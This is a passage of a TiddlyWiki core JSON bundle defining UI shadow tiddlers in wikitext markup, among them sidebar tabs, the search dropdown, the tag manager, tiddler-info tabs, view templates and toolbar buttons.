            "text": "\\whitespace trim\n\\define lingo-base() $:/language/CloseAll/\n\n\\define drop-actions()\n<$action-listops $tiddler=\"$:/StoryList\" $subfilter=\"+[insertbefore:currentTiddler<actionTiddler>]\"/>\n\\end\n\n<$list filter=\"[list[$:/StoryList]]\" history=\"$:/HistoryList\" storyview=\"pop\">\n<div style=\"position: relative;\">\n<$droppable actions=<<drop-actions>>>\n<div class=\"tc-droppable-placeholder\">\n&nbsp;\n</div>\n<div>\n<$button message=\"tm-close-tiddler\" tooltip={{$:/language/Buttons/Close/Hint}} aria-label={{$:/language/Buttons/Close/Caption}} class=\"tc-btn-invisible tc-btn-mini\">&times;</$button> <$link to={{!!title}}><$view field=\"title\"/></$link>\n</div>\n</$droppable>\n</div>\n</$list>\n<$tiddler tiddler=\"\">\n<$droppable actions=<<drop-actions>>>\n<div class=\"tc-droppable-placeholder\">\n&nbsp;\n</div>\n<$button message=\"tm-close-all-tiddlers\" class=\"tc-btn-invisible tc-btn-mini\"><<lingo Button>></$button>\n</$droppable>\n</$tiddler>\n"
        },
        "$:/core/ui/SideBar/Recent": {
            "title": "$:/core/ui/SideBar/Recent",
            "tags": "$:/tags/SideBar",
            "caption": "{{$:/language/SideBar/Recent/Caption}}",
            "text": "<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n"
        },
        "$:/core/ui/SideBar/Tools": {
            "title": "$:/core/ui/SideBar/Tools",
            "tags": "$:/tags/SideBar",
            "caption": "{{$:/language/SideBar/Tools/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/\n\\define config-title()\n$:/config/PageControlButtons/Visibility/$(listItem)$\n\\end\n\n<<lingo Basics/Version/Prompt>> <<version>>\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/PageControls]!has[draft.of]]\" variable=\"listItem\">\n\n<div style=\"position:relative;\" class={{{ [<listItem>encodeuricomponent[]addprefix[tc-btn-]] }}}>\n\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <$transclude tiddler=<<listItem>>/> <i class=\"tc-muted\"><$transclude tiddler=<<listItem>> field=\"description\"/></i>\n\n</div>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/SideBarLists": {
            "title": "$:/core/ui/SideBarLists",
            "text": "<$transclude tiddler=\"$:/core/ui/SideBarSegments/search\"/>\n\n<$transclude tiddler=\"$:/core/ui/SideBarSegments/tabs\"/>\n\n"
        },
        "$:/core/ui/SideBarSegments/page-controls": {
            "title": "$:/core/ui/SideBarSegments/page-controls",
            "tags": "$:/tags/SideBarSegment",
            "text": "{{||$:/core/ui/PageTemplate/pagecontrols}}\n"
        },
        "$:/core/ui/SideBarSegments/search": {
            "title": "$:/core/ui/SideBarSegments/search",
            "tags": "$:/tags/SideBarSegment",
            "text": "<div class=\"tc-sidebar-lists\">\n\n<$set name=\"searchTiddler\" value=\"$:/temp/search\">\n<div class=\"tc-search\">\n<$edit-text tiddler=\"$:/temp/search\" type=\"search\" tag=\"input\" focus={{$:/config/Search/AutoFocus}} focusPopup=<<qualify \"$:/state/popup/search-dropdown\">> class=\"tc-popup-handle\"/>\n<$reveal state=\"$:/temp/search\" type=\"nomatch\" text=\"\">\n<$button tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/advancedsearch\" text={{$:/temp/search}}/>\n<$action-setfield $tiddler=\"$:/temp/search\" text=\"\"/>\n<$action-navigate $to=\"$:/AdvancedSearch\"/>\n{{$:/core/images/advanced-search-button}}\n</$button>\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"$:/temp/search\" text=\"\" />\n{{$:/core/images/close-button}}\n</$button>\n<$button popup=<<qualify \"$:/state/popup/search-dropdown\">> class=\"tc-btn-invisible\">\n{{$:/core/images/down-arrow}}\n<$list filter=\"[{$:/temp/search}minlength{$:/config/Search/MinLength}limit[1]]\" variable=\"listItem\">\n<$set name=\"searchTerm\" value={{{ [<searchTiddler>get[text]] }}}>\n<$set name=\"resultCount\" value=\"\"\"<$count filter=\"[!is[system]search<searchTerm>]\"/>\"\"\">\n{{$:/language/Search/Matches}}\n</$set>\n</$set>\n</$list>\n</$button>\n</$reveal>\n<$reveal state=\"$:/temp/search\" type=\"match\" text=\"\">\n<$button to=\"$:/AdvancedSearch\" tooltip={{$:/language/Buttons/AdvancedSearch/Hint}} aria-label={{$:/language/Buttons/AdvancedSearch/Caption}} class=\"tc-btn-invisible\">\n{{$:/core/images/advanced-search-button}}\n</$button>\n</$reveal>\n</div>\n\n<$reveal tag=\"div\" class=\"tc-block-dropdown-wrapper\" state=\"$:/temp/search\" type=\"nomatch\" text=\"\">\n\n<$reveal tag=\"div\" class=\"tc-block-dropdown tc-search-drop-down tc-popup-handle\" state=<<qualify \"$:/state/popup/search-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n\n<$list filter=\"[{$:/temp/search}minlength{$:/config/Search/MinLength}limit[1]]\" emptyMessage=\"\"\"<div class=\"tc-search-results\">{{$:/language/Search/Search/TooShort}}</div>\"\"\" variable=\"listItem\">\n\n{{$:/core/ui/SearchResults}}\n\n</$list>\n\n</$reveal>\n\n</$reveal>\n\n</$set>\n\n</div>\n"
        },
        "$:/core/ui/SideBarSegments/site-subtitle": {
            "title": "$:/core/ui/SideBarSegments/site-subtitle",
            "tags": "$:/tags/SideBarSegment",
            "text": "<div class=\"tc-site-subtitle\">\n\n<$transclude tiddler=\"$:/SiteSubtitle\" mode=\"inline\"/>\n\n</div>\n"
        },
        "$:/core/ui/SideBarSegments/site-title": {
            "title": "$:/core/ui/SideBarSegments/site-title",
            "tags": "$:/tags/SideBarSegment",
            "text": "<h1 class=\"tc-site-title\">\n\n<$transclude tiddler=\"$:/SiteTitle\" mode=\"inline\"/>\n\n</h1>\n"
        },
        "$:/core/ui/SideBarSegments/tabs": {
            "title": "$:/core/ui/SideBarSegments/tabs",
            "tags": "$:/tags/SideBarSegment",
            "text": "<div class=\"tc-sidebar-lists\">\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/SideBar]!has[draft.of]]\" default={{$:/config/DefaultSidebarTab}} state=\"$:/state/tab/sidebar\" />\n\n</div>\n"
        },
        "$:/TagManager": {
            "title": "$:/TagManager",
            "icon": "$:/core/images/tag-button",
            "color": "#bbb",
            "caption": "{{$:/language/TagManager/Caption}}",
            "text": "\\define lingo-base() $:/language/TagManager/\n\\define iconEditorTab(type)\n<$list filter=\"[all[shadows+tiddlers]is[image]] [all[shadows+tiddlers]tag[$:/tags/Image]] -[type[application/pdf]] +[sort[title]] +[$type$is[system]]\">\n<$link to={{!!title}}>\n<$transclude/> <$view field=\"title\"/>\n</$link>\n</$list>\n\\end\n\\define iconEditor(title)\n<div class=\"tc-drop-down-wrapper\">\n<$button popupTitle={{{ [[$:/state/popup/icon/]addsuffix<__title__>] }}} class=\"tc-btn-invisible tc-btn-dropdown\">{{$:/core/images/down-arrow}}</$button>\n<$reveal stateTitle={{{ [[$:/state/popup/icon/]addsuffix<__title__>] }}} type=\"popup\" position=\"belowleft\" text=\"\" default=\"\">\n<div class=\"tc-drop-down\">\n<$linkcatcher actions=\"\"\"<$action-setfield $tiddler=<<__title__>> icon=<<navigateTo>>/>\"\"\">\n<<iconEditorTab type:\"!\">>\n<hr/>\n<<iconEditorTab type:\"\">>\n</$linkcatcher>\n</div>\n</$reveal>\n</div>\n\\end\n\\define toggleButton(state)\n<$reveal stateTitle=<<__state__>> type=\"match\" text=\"closed\" default=\"closed\">\n<$button setTitle=<<__state__>> setTo=\"open\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n</$button>\n</$reveal>\n<$reveal stateTitle=<<__state__>> type=\"match\" text=\"open\" default=\"closed\">\n<$button setTitle=<<__state__>> setTo=\"closed\" class=\"tc-btn-invisible tc-btn-dropdown\" selectedClass=\"tc-selected\">\n{{$:/core/images/info-button}}\n</$button>\n</$reveal>\n\\end\n<table class=\"tc-tag-manager-table\">\n<tbody>\n<tr>\n<th><<lingo Colour/Heading>></th>\n<th class=\"tc-tag-manager-tag\"><<lingo Tag/Heading>></th>\n<th><<lingo Count/Heading>></th>\n<th><<lingo Icon/Heading>></th>\n<th><<lingo Info/Heading>></th>\n</tr>\n<$list filter=\"[tags[]!is[system]sort[title]]\">\n<tr>\n<td><$edit-text field=\"color\" tag=\"input\" type=\"color\"/></td>\n<td>{{||$:/core/ui/TagTemplate}}</td>\n<td><$count filter=\"[all[current]tagging[]]\"/></td>\n<td>\n<$macrocall $name=\"iconEditor\" title={{!!title}}/>\n</td>\n<td>\n<$macrocall $name=\"toggleButton\" state={{{ [[$:/state/tag-manager/]addsuffix<currentTiddler>] }}} /> \n</td>\n</tr>\n<tr>\n<td></td>\n<td colspan=\"4\">\n<$reveal stateTitle={{{ [[$:/state/tag-manager/]addsuffix<currentTiddler>] }}} type=\"match\" text=\"open\" default=\"\">\n<table>\n<tbody>\n<tr><td><<lingo Colour/Heading>></td><td><$edit-text field=\"color\" tag=\"input\" type=\"text\" size=\"9\"/></td></tr>\n<tr><td><<lingo Icon/Heading>></td><td><$edit-text field=\"icon\" tag=\"input\" size=\"45\"/></td></tr>\n</tbody>\n</table>\n</$reveal>\n</td>\n</tr>\n</$list>\n<tr>\n<td></td>\n<td style=\"position:relative;\">\n{{$:/core/ui/UntaggedTemplate}}\n</td>\n<td>\n<small class=\"tc-menu-list-count\"><$count filter=\"[untagged[]!is[system]] -[tags[]]\"/></small>\n</td>\n<td></td>\n<td></td>\n</tr>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/TagTemplate": {
            "title": "$:/core/ui/TagTemplate",
            "text": "\\whitespace trim\n<span class=\"tc-tag-list-item\">\n<$set name=\"transclusion\" value=<<currentTiddler>>>\n<$macrocall $name=\"tag-pill-body\" tag=<<currentTiddler>> icon={{!!icon}} colour={{!!color}} palette={{$:/palette}} element-tag=\"\"\"$button\"\"\" element-attributes=\"\"\"popup=<<qualify \"$:/state/popup/tag\">> dragFilter='[all[current]tagging[]]' tag='span'\"\"\"/>\n<$reveal state=<<qualify \"$:/state/popup/tag\">> type=\"popup\" position=\"below\" animate=\"yes\" class=\"tc-drop-down\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$transclude tiddler=\"$:/core/ui/ListItemTemplate\"/>\n</$set>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TagDropdown]!has[draft.of]]\" variable=\"listItem\"> \n<$transclude tiddler=<<listItem>>/> \n</$list>\n<hr>\n<$macrocall $name=\"list-tagged-draggable\" tag=<<currentTiddler>>/>\n</$reveal>\n</$set>\n</span>\n"
        },
        "$:/core/ui/TiddlerFieldTemplate": {
            "title": "$:/core/ui/TiddlerFieldTemplate",
            "text": "<tr class=\"tc-view-field\">\n<td class=\"tc-view-field-name\">\n<$text text=<<listItem>>/>\n</td>\n<td class=\"tc-view-field-value\">\n<$view field=<<listItem>>/>\n</td>\n</tr>"
        },
        "$:/core/ui/TiddlerFields": {
            "title": "$:/core/ui/TiddlerFields",
            "text": "<table class=\"tc-view-field-table\">\n<tbody>\n<$list filter=\"[all[current]fields[]sort[title]] -text\" template=\"$:/core/ui/TiddlerFieldTemplate\" variable=\"listItem\"/>\n</tbody>\n</table>\n"
        },
        "$:/core/ui/TiddlerInfo/Advanced/PluginInfo": {
            "title": "$:/core/ui/TiddlerInfo/Advanced/PluginInfo",
            "tags": "$:/tags/TiddlerInfo/Advanced",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/PluginInfo/\n<$list filter=\"[all[current]has[plugin-type]]\">\n\n! <<lingo Heading>>\n\n<<lingo Hint>>\n<ul>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" emptyMessage=<<lingo Empty/Hint>>>\n<li>\n<$link to={{!!title}}>\n<$view field=\"title\"/>\n</$link>\n</li>\n</$list>\n</ul>\n\n</$list>\n"
        },
        "$:/core/ui/TiddlerInfo/Advanced/ShadowInfo": {
            "title": "$:/core/ui/TiddlerInfo/Advanced/ShadowInfo",
            "tags": "$:/tags/TiddlerInfo/Advanced",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/Advanced/ShadowInfo/\n<$set name=\"infoTiddler\" value=<<currentTiddler>>>\n\n''<<lingo Heading>>''\n\n<$list filter=\"[all[current]!is[shadow]]\">\n\n<<lingo NotShadow/Hint>>\n\n</$list>\n\n<$list filter=\"[all[current]is[shadow]]\">\n\n<<lingo Shadow/Hint>>\n\n<$list filter=\"[all[current]shadowsource[]]\">\n\n<$set name=\"pluginTiddler\" value=<<currentTiddler>>>\n<<lingo Shadow/Source>>\n</$set>\n\n</$list>\n\n<$list filter=\"[all[current]is[shadow]is[tiddler]]\">\n\n<<lingo OverriddenShadow/Hint>>\n\n</$list>\n\n\n</$list>\n</$set>\n"
        },
        "$:/core/ui/TiddlerInfo/Advanced": {
            "title": "$:/core/ui/TiddlerInfo/Advanced",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/Advanced/Caption}}",
            "text": "<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfo/Advanced]!has[draft.of]]\" variable=\"listItem\">\n<$transclude tiddler=<<listItem>>/>\n\n</$list>\n"
        },
        "$:/core/ui/TiddlerInfo/Fields": {
            "title": "$:/core/ui/TiddlerInfo/Fields",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/Fields/Caption}}",
            "text": "<$transclude tiddler=\"$:/core/ui/TiddlerFields\"/>\n"
        },
        "$:/core/ui/TiddlerInfo/List": {
            "title": "$:/core/ui/TiddlerInfo/List",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/List/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[list{!!title}]\" emptyMessage=<<lingo List/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/TiddlerInfo/Listed": {
            "title": "$:/core/ui/TiddlerInfo/Listed",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/Listed/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]listed[]!is[system]]\" emptyMessage=<<lingo Listed/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/TiddlerInfo/References": {
            "title": "$:/core/ui/TiddlerInfo/References",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/References/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]backlinks[]sort[title]]\" emptyMessage=<<lingo References/Empty>> template=\"$:/core/ui/ListItemTemplate\">\n</$list>"
        },
        "$:/core/ui/TiddlerInfo/Tagging": {
            "title": "$:/core/ui/TiddlerInfo/Tagging",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/Tagging/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n<$list filter=\"[all[current]tagging[]]\" emptyMessage=<<lingo Tagging/Empty>> template=\"$:/core/ui/ListItemTemplate\"/>\n"
        },
        "$:/core/ui/TiddlerInfo/Tools": {
            "title": "$:/core/ui/TiddlerInfo/Tools",
            "tags": "$:/tags/TiddlerInfo",
            "caption": "{{$:/language/TiddlerInfo/Tools/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-class\" value=\"\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]]\" variable=\"listItem\">\n\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <$transclude tiddler=<<listItem>>/> <i class=\"tc-muted\"><$transclude tiddler=<<listItem>> field=\"description\"/></i>\n\n</$list>\n\n</$set>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/TiddlerInfo": {
            "title": "$:/core/ui/TiddlerInfo",
            "text": "<div style=\"position:relative;\">\n<div class=\"tc-tiddler-controls\" style=\"position:absolute;right:0;\">\n<$reveal state=\"$:/config/TiddlerInfo/Mode\" type=\"match\" text=\"sticky\">\n<$button set=<<tiddlerInfoState>> setTo=\"\" tooltip={{$:/language/Buttons/Info/Hint}} aria-label={{$:/language/Buttons/Info/Caption}} class=\"tc-btn-invisible\">\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</div>\n</div>\n\n<$macrocall $name=\"tabs\" tabsList=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfo]!has[draft.of]]\" default={{$:/config/TiddlerInfo/Default}}/>"
        },
        "$:/core/ui/TopBar/menu": {
            "title": "$:/core/ui/TopBar/menu",
            "tags": "$:/tags/TopRightBar",
            "text": "<$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"no\">\n<$button set=\"$:/state/sidebar\" setTo=\"no\" tooltip={{$:/language/Buttons/HideSideBar/Hint}} aria-label={{$:/language/Buttons/HideSideBar/Caption}} class=\"tc-btn-invisible\">{{$:/core/images/chevron-right}}</$button>\n</$reveal>\n<$reveal state=\"$:/state/sidebar\" type=\"match\" text=\"no\">\n<$button set=\"$:/state/sidebar\" setTo=\"yes\" tooltip={{$:/language/Buttons/ShowSideBar/Hint}} aria-label={{$:/language/Buttons/ShowSideBar/Caption}} class=\"tc-btn-invisible\">{{$:/core/images/chevron-left}}</$button>\n</$reveal>\n"
        },
        "$:/core/ui/UntaggedTemplate": {
            "title": "$:/core/ui/UntaggedTemplate",
            "text": "\\define lingo-base() $:/language/SideBar/\n<$button popup=<<qualify \"$:/state/popup/tag\">> class=\"tc-btn-invisible tc-untagged-label tc-tag-label\">\n<<lingo Tags/Untagged/Caption>>\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/tag\">> type=\"popup\" position=\"below\">\n<div class=\"tc-drop-down\">\n<$list filter=\"[untagged[]!is[system]] -[tags[]] +[sort[title]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$reveal>\n"
        },
        "$:/core/ui/ViewTemplate/body": {
            "title": "$:/core/ui/ViewTemplate/body",
            "tags": "$:/tags/ViewTemplate",
            "text": "<$reveal tag=\"div\" class=\"tc-tiddler-body\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" retain=\"yes\" animate=\"yes\">\n\n<$list filter=\"[all[current]!has[plugin-type]!field:hide-body[yes]]\">\n\n<$transclude>\n\n<$transclude tiddler=\"$:/language/MissingTiddler/Hint\"/>\n\n</$transclude>\n\n</$list>\n\n</$reveal>\n"
        },
        "$:/core/ui/ViewTemplate/classic": {
            "title": "$:/core/ui/ViewTemplate/classic",
            "tags": "$:/tags/ViewTemplate $:/tags/EditTemplate",
            "text": "\\define lingo-base() $:/language/ClassicWarning/\n<$list filter=\"[all[current]type[text/x-tiddlywiki]]\">\n<div class=\"tc-message-box\">\n\n<<lingo Hint>>\n\n<$button set=\"!!type\" setTo=\"text/vnd.tiddlywiki\"><<lingo Upgrade/Caption>></$button>\n\n</div>\n</$list>\n"
        },
        "$:/core/ui/ViewTemplate/import": {
            "title": "$:/core/ui/ViewTemplate/import",
            "tags": "$:/tags/ViewTemplate",
            "text": "\\define lingo-base() $:/language/Import/\n\n\\define buttons()\n<$button message=\"tm-delete-tiddler\" param=<<currentTiddler>>><<lingo Listing/Cancel/Caption>></$button>\n<$button message=\"tm-perform-import\" param=<<currentTiddler>>><<lingo Listing/Import/Caption>></$button>\n<<lingo Listing/Preview>> <$select tiddler=\"$:/state/importpreviewtype\" default=\"$:/core/ui/ImportPreviews/Text\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ImportPreview]!has[draft.of]]\">\n<option value=<<currentTiddler>>>{{!!caption}}</option>\n</$list>\n</$select>\n\\end\n\n<$list filter=\"[all[current]field:plugin-type[import]]\">\n\n<div class=\"tc-import\">\n\n<<lingo Listing/Hint>>\n\n<<buttons>>\n\n{{||$:/core/ui/ImportListing}}\n\n<<buttons>>\n\n</div>\n\n</$list>\n"
        },
        "$:/core/ui/ViewTemplate/plugin": {
            "title": "$:/core/ui/ViewTemplate/plugin",
            "tags": "$:/tags/ViewTemplate",
            "text": "<$list filter=\"[all[current]has[plugin-type]] -[all[current]field:plugin-type[import]]\">\n<$set name=\"plugin-type\" value={{!!plugin-type}}>\n<$set name=\"default-popup-state\" value=\"yes\">\n<$set name=\"qualified-state\" value=<<qualify \"$:/state/plugin-info\">>>\n{{||$:/core/ui/Components/plugin-info}}\n</$set>\n</$set>\n</$set>\n</$list>\n"
        },
        "$:/core/ui/ViewTemplate/subtitle": {
            "title": "$:/core/ui/ViewTemplate/subtitle",
            "tags": "$:/tags/ViewTemplate",
            "text": "<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" tag=\"div\" retain=\"yes\" animate=\"yes\">\n<div class=\"tc-subtitle\">\n<$link to={{!!modifier}}>\n<$view field=\"modifier\"/>\n</$link> <$view field=\"modified\" format=\"date\" template={{$:/language/Tiddler/DateFormat}}/>\n</div>\n</$reveal>\n"
        },
        "$:/core/ui/ViewTemplate/tags": {
            "title": "$:/core/ui/ViewTemplate/tags",
            "tags": "$:/tags/ViewTemplate",
            "text": "<$reveal type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" tag=\"div\" retain=\"yes\" animate=\"yes\">\n<div class=\"tc-tags-wrapper\"><$list filter=\"[all[current]tags[]sort[title]]\" template=\"$:/core/ui/TagTemplate\" storyview=\"pop\"/></div>\n</$reveal>\n"
        },
        "$:/core/ui/ViewTemplate/title": {
            "title": "$:/core/ui/ViewTemplate/title",
            "tags": "$:/tags/ViewTemplate",
            "text": "\\define title-styles()\nfill:$(foregroundColor)$;\n\\end\n\\define config-title()\n$:/config/ViewToolbarButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-tiddler-title\">\n<div class=\"tc-titlebar\">\n<span class=\"tc-tiddler-controls\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]]\" variable=\"listItem\"><$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\"><$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\"><$transclude tiddler=<<listItem>>/></$set></$reveal></$list>\n</span>\n<$set name=\"tv-wikilinks\" value={{$:/config/Tiddlers/TitleLinks}}>\n<$link>\n<$set name=\"foregroundColor\" value={{!!color}}>\n<span class=\"tc-tiddler-title-icon\" style=<<title-styles>>>\n<$transclude tiddler={{!!icon}}/>\n</span>\n</$set>\n<$list filter=\"[all[current]removeprefix[$:/]]\">\n<h2 class=\"tc-title\" title={{$:/language/SystemTiddler/Tooltip}}>\n<span class=\"tc-system-title-prefix\">$:/</span><$text text=<<currentTiddler>>/>\n</h2>\n</$list>\n<$list filter=\"[all[current]!prefix[$:/]]\">\n<h2 class=\"tc-title\">\n<$view field=\"title\"/>\n</h2>\n</$list>\n</$link>\n</$set>\n</div>\n\n<$reveal type=\"nomatch\" text=\"\" default=\"\" state=<<tiddlerInfoState>> class=\"tc-tiddler-info tc-popup-handle\" animate=\"yes\" retain=\"yes\">\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfoSegment]!has[draft.of]] [[$:/core/ui/TiddlerInfo]]\" variable=\"listItem\"><$transclude tiddler=<<listItem>> mode=\"block\"/></$list>\n\n</$reveal>\n</div>"
        },
        "$:/core/ui/ViewTemplate/unfold": {
            "title": "$:/core/ui/ViewTemplate/unfold",
            "tags": "$:/tags/ViewTemplate",
            "text": "<$reveal tag=\"div\" type=\"nomatch\" state=\"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold-bar\" text=\"hide\">\n<$reveal tag=\"div\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"hide\" default=\"show\" retain=\"yes\" animate=\"yes\">\n<$button tooltip={{$:/language/Buttons/Fold/Hint}} aria-label={{$:/language/Buttons/Fold/Caption}} class=\"tc-fold-banner\">\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n{{$:/core/images/chevron-up}}\n</$button>\n</$reveal>\n<$reveal tag=\"div\" type=\"nomatch\" stateTitle=<<folded-state>> text=\"show\" default=\"show\" retain=\"yes\" animate=\"yes\">\n<$button tooltip={{$:/language/Buttons/Unfold/Hint}} aria-label={{$:/language/Buttons/Unfold/Caption}} class=\"tc-unfold-banner\">\n<$action-sendmessage $message=\"tm-fold-tiddler\" $param=<<currentTiddler>> foldedState=<<folded-state>>/>\n{{$:/core/images/chevron-down}}\n</$button>\n</$reveal>\n</$reveal>\n"
        },
        "$:/core/ui/ViewTemplate": {
            "title": "$:/core/ui/ViewTemplate",
            "text": "\\define frame-classes()\ntc-tiddler-frame tc-tiddler-view-frame $(missingTiddlerClass)$ $(shadowTiddlerClass)$ $(systemTiddlerClass)$ $(tiddlerTagClasses)$ $(userClass)$\n\\end\n\\define folded-state()\n$:/state/folded/$(currentTiddler)$\n\\end\n<$vars storyTiddler=<<currentTiddler>> tiddlerInfoState=<<qualify \"$:/state/popup/tiddler-info\">> userClass={{!!class}}><$tiddler tiddler=<<currentTiddler>>><div data-tiddler-title=<<currentTiddler>> data-tags={{!!tags}} class=<<frame-classes>>><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewTemplate]!has[draft.of]]\" variable=\"listItem\"><$transclude tiddler=<<listItem>>/></$list>\n</div>\n</$tiddler></$vars>\n"
        },
        "$:/core/ui/Buttons/clone": {
            "title": "$:/core/ui/Buttons/clone",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/clone-button}} {{$:/language/Buttons/Clone/Caption}}",
            "description": "{{$:/language/Buttons/Clone/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-new-tiddler\" param=<<currentTiddler>> tooltip={{$:/language/Buttons/Clone/Hint}} aria-label={{$:/language/Buttons/Clone/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/clone-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Clone/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/close-others": {
            "title": "$:/core/ui/Buttons/close-others",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/close-others-button}} {{$:/language/Buttons/CloseOthers/Caption}}",
            "description": "{{$:/language/Buttons/CloseOthers/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-close-other-tiddlers\" param=<<currentTiddler>> tooltip={{$:/language/Buttons/CloseOthers/Hint}} aria-label={{$:/language/Buttons/CloseOthers/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/close-others-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/CloseOthers/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/close": {
            "title": "$:/core/ui/Buttons/close",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/close-button}} {{$:/language/Buttons/Close/Caption}}",
            "description": "{{$:/language/Buttons/Close/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-close-tiddler\" tooltip={{$:/language/Buttons/Close/Hint}} aria-label={{$:/language/Buttons/Close/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/close-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text={{$:/language/Buttons/Close/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/edit": {
            "title": "$:/core/ui/Buttons/edit",
            "tags": "$:/tags/ViewToolbar",
            "caption": "{{$:/core/images/edit-button}} {{$:/language/Buttons/Edit/Caption}}",
            "description": "{{$:/language/Buttons/Edit/Hint}}",
            "text": "\\whitespace trim\n<$button message=\"tm-edit-tiddler\" tooltip={{$:/language/Buttons/Edit/Hint}} aria-label={{$:/language/Buttons/Edit/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/edit-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\">\n<$text text=\" \"/>\n<$text text={{$:/language/Buttons/Edit/Caption}}/>\n</span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/export-tiddler": {
            "title": "$:/core/ui/Buttons/export-tiddler",
            "tags": "$:/tags/ViewToolbar",
